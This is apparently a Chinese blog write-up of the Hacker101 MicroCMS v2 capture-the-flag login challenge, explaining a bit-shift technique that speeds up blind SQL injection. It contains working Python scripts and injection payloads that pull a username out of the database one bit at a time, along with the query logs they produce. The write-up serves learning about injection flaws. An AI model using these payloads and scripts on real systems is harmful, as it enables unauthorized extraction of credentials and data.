SQL注入与数据快速读取
在玩 Hacker101 , 最开始遇到SQL问题的时候,基本上是 sqlmap
一把梭,很少有手动写注入的时候,以至于每次打CTF遇到了Web注入相关的题目用 sqlmap
解决不了又不会写 tamper
,然后就完全做不成,趁现在周末有时间,手动玩注入试试水,摸了一个比较快的读取SQL数据的方案 - 按bit位读取。
题目 MicroCMS v2 - part1 注入部分
Micro CMS v2
这个题目第一部分留了一个登录框,明显是用来做注入用的,简单测试了一下反馈,有 Unknown user
一个反馈,随便输入SQL的 "'
试一下注入,得到了SQL的报错:
Traceback (most recent call last):
File "./main.py", line 145, in do_login
if cur.execute('SELECT password FROM admins WHERE username=\'%s\'' % request.form['username'].replace('%', '%%')) == 0:
File "/usr/local/lib/python2.7/site-packages/MySQLdb/cursors.py", line 255, in execute
self.errorhandler(self, exc, value)
File "/usr/local/lib/python2.7/site-packages/MySQLdb/connections.py", line 50, in defaulterrorhandler
raise errorvalue
ProgrammingError: (1064, 'You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near \'"\'\' at line 1')
SQL语句简单的过滤了 %
(两个%%
相当于简单的%
)将其的含义转义成了普通字符,禁用了模糊查询,试了一下简单的测试 ' or 1; --
得到了一个 Invalid password
的错误反馈,大概逻辑:
if pwd = query(sql) {
if pwd == form['password'] {
登录成功
}
}
当然,这不太重要,拿个错误反馈就可以进行基于错误的盲注了,最开始,打算的是爆破:
def query_username_length(length):
query = "' or LENGTH(username) = "+str(length)+" limit 1; --"
print('query-test: SELECT password FROM admins WHERE username=\'%s\'' %
query.replace('%', '%%'))
resp = requests.post('http://*.*.*.*/680bed1d7f/login',
{'username': query, 'password': 'dxkite'})
# print(resp.text)
if 'Invalid password' in resp.text:
return True
return False
def query_username_index(index,ch):
query = "' or ASCII(SUBSTR(username,"+str(index)+",1)) = "+str(ch)+" limit 1; --"
print('query-test: SELECT password FROM admins WHERE username=\'%s\'' %
query.replace('%', '%%'))
resp = requests.post('http://*.*.*.*/680bed1d7f/login',
{'username': query, 'password': 'dxkite'})
# print(resp.text)
if 'Invalid password' in resp.text:
return True
return False
def test_username_length(max_len):
username_length = 0
for a in range(1, max_len):
if query_username_length(a):
print('username length', a)
username_length = a
break
return username_length
def test_username(max_len):
username = ''
for a in range(1, max_len +1):
for b in range(0, 256):
if query_username_index(a, b):
print('find index =',a,'char =', chr(b))
username += chr(b)
break
return username
执行SQL类似于:
query-test: SELECT password FROM admins WHERE username='' or LENGTH(username) = 1 limit 1; --'
query-test: SELECT password FROM admins WHERE username='' or LENGTH(username) = 2 limit 1; --'
query-test: SELECT password FROM admins WHERE username='' or LENGTH(username) = 3 limit 1; --'
query-test: SELECT password FROM admins WHERE username='' or LENGTH(username) = 4 limit 1; --'
query-test: SELECT password FROM admins WHERE username='' or LENGTH(username) = 5 limit 1; --'
query-test: SELECT password FROM admins WHERE username='' or LENGTH(username) = 6 limit 1; --'
query-test: SELECT password FROM admins WHERE username='' or LENGTH(username) = 7 limit 1; --'
query-test: SELECT password FROM admins WHERE username='' or LENGTH(username) = 8 limit 1; --'
username length 8
username length = 8
query-test: SELECT password FROM admins WHERE username='' or ASCII(SUBSTR(username,1,1)) = 0 limit 1; --'
query-test: SELECT password FROM admins WHERE username='' or ASCII(SUBSTR(username,1,1)) = 1 limit 1; --'
query-test: SELECT password FROM admins WHERE username='' or ASCII(SUBSTR(username,1,1)) = 2 limit 1; --'
query-test: SELECT password FROM admins WHERE username='' or ASCII(SUBSTR(username,1,1)) = 3 limit 1; --'
query-test: SELECT password FROM admins WHERE username='' or ASCII(SUBSTR(username,1,1)) = 4 limit 1; --'
query-test: SELECT password FROM admins WHERE username='' or ASCII(SUBSTR(username,1,1)) = 5 limit 1; --'
query-test: SELECT password FROM admins WHERE username='' or ASCII(SUBSTR(username,1,1)) = 6 limit 1; --'
通过 LENGTH
函数得出长度,再使用 ASCII(SUBSTR(username,n,1)) = k
来暴力枚举一位置上的数据,最坏情况下SQL查询的次数是密码长度n的256倍,耗时还麻烦,如果仅仅是这个那也不必写这篇文章了。
位与位移运算
在MySQL
中存在一些常见但是不常用的运算符号,>>
、<<
、&
、|
,其实在编程里面也很少用,不过有时候为了优化行能也会使用位运算来处理或者作为索引操作,如获取某一位的bit值:
func (b BitSet) Get(index int64) bool {
byteIndex := index / 8
offset := index % 8
if byteIndex < 0 || byteIndex >= int64(len(b)) {
return false
}
return b[byteIndex]>>(7-offset)&1 != 0
}
提取出来的操作即为:ch >> (7-offset) & 1 == 1
可以用来判断 ch
的 offset
位的bit值,运算原理如下:
a = b00100100
b = a >> 1 # b00100100 向右移一位变成了 b00010010
c = b & 1 # b00010010 & b00000001 = 0 位与,1&1=1, 0&1=0
根据以上的原理,对SQL数据的枚举就变成了显示的读,将 ch >> (7-offset) & 1 == 1
写成SQL形式 ((ASCII(SUBSTR(username,n,1)) >> offset) & 1) = 1
,通过 n
来控制读取某一个字节,通过 offset
来读取字节上的bit
值,这时只有两种情况,0
或者 1
,完全对应了每一个字节的每个bit的值,将原有的最坏情况 O(n*256) 的次数,变成了 O(n*8),直接逐个bit
位读取:
def query_username_length(length):
query = "' or LENGTH(username) = "+str(length)+" limit 1; --"
print('query-test: SELECT password FROM admins WHERE username=\'%s\'' %
query.replace('%', '%%'))
resp = requests.post('http://*.*.*.*/680bed1d7f/login',
{'username': query, 'password': 'dxkite'})
# print(resp.text)
if 'Invalid password' in resp.text:
return True
return False
def query_username_index(index, offset):
query = "' or ((ASCII(SUBSTR(username,"+str(index)+",1)) >> "+str(7-offset)+") & 1) = 1 limit 1; --"
print('query-test: SELECT password FROM admins WHERE username=\'%s\'' %
query.replace('%', '%%'))
resp = requests.post('http://*.*.*.*/680bed1d7f/login',
{'username': query, 'password': 'dxkite'})
# print(resp.text)
if 'Invalid password' in resp.text:
return 1
return 0
def test_username_length(max_len):
username_length = 0
for a in range(1, max_len):
if query_username_length(a):
print('username length', a)
username_length = a
break
return username_length
def test_username(max_len):
username = ''
for a in range(1, max_len +1):
ch = 0
for b in range(0, 8):
ii = query_username_index(a, b)
ch += ii * (2**(7-b))
username += chr(ch)
print('find username', username)
return username
执行SQL类似于:
query-test: SELECT password FROM admins WHERE username='' or LENGTH(username) = 1 limit 1; --'
query-test: SELECT password FROM admins WHERE username='' or LENGTH(username) = 2 limit 1; --'
query-test: SELECT password FROM admins WHERE username='' or LENGTH(username) = 3 limit 1; --'
query-test: SELECT password FROM admins WHERE username='' or LENGTH(username) = 4 limit 1; --'
query-test: SELECT password FROM admins WHERE username='' or LENGTH(username) = 5 limit 1; --'
query-test: SELECT password FROM admins WHERE username='' or LENGTH(username) = 6 limit 1; --'
query-test: SELECT password FROM admins WHERE username='' or LENGTH(username) = 7 limit 1; --'
query-test: SELECT password FROM admins WHERE username='' or LENGTH(username) = 8 limit 1; --'
username length 8
username length = 8
query-test: SELECT password FROM admins WHERE username='' or ((ASCII(SUBSTR(username,1,1)) >> 7) & 1) = 1 limit 1; --'
query-test: SELECT password FROM admins WHERE username='' or ((ASCII(SUBSTR(username,1,1)) >> 6) & 1) = 1 limit 1; --'
query-test: SELECT password FROM admins WHERE username='' or ((ASCII(SUBSTR(username,1,1)) >> 5) & 1) = 1 limit 1; --'
query-test: SELECT password FROM admins WHERE username='' or ((ASCII(SUBSTR(username,1,1)) >> 4) & 1) = 1 limit 1; --'
query-test: SELECT password FROM admins WHERE username='' or ((ASCII(SUBSTR(username,1,1)) >> 3) & 1) = 1 limit 1; --'
query-test: SELECT password FROM admins WHERE username='' or ((ASCII(SUBSTR(username,1,1)) >> 2) & 1) = 1 limit 1; --'
query-test: SELECT password FROM admins WHERE username='' or ((ASCII(SUBSTR(username,1,1)) >> 1) & 1) = 1 limit 1; --'
query-test: SELECT password FROM admins WHERE username='' or ((ASCII(SUBSTR(username,1,1)) >> 0) & 1) = 1 limit 1; --'
find username r
通过灵活使用SQL的位移与位运算符号,可以实现读取SQL中的数据而不用通过耗时的枚举来处理数据了。

Hello! I am DXkite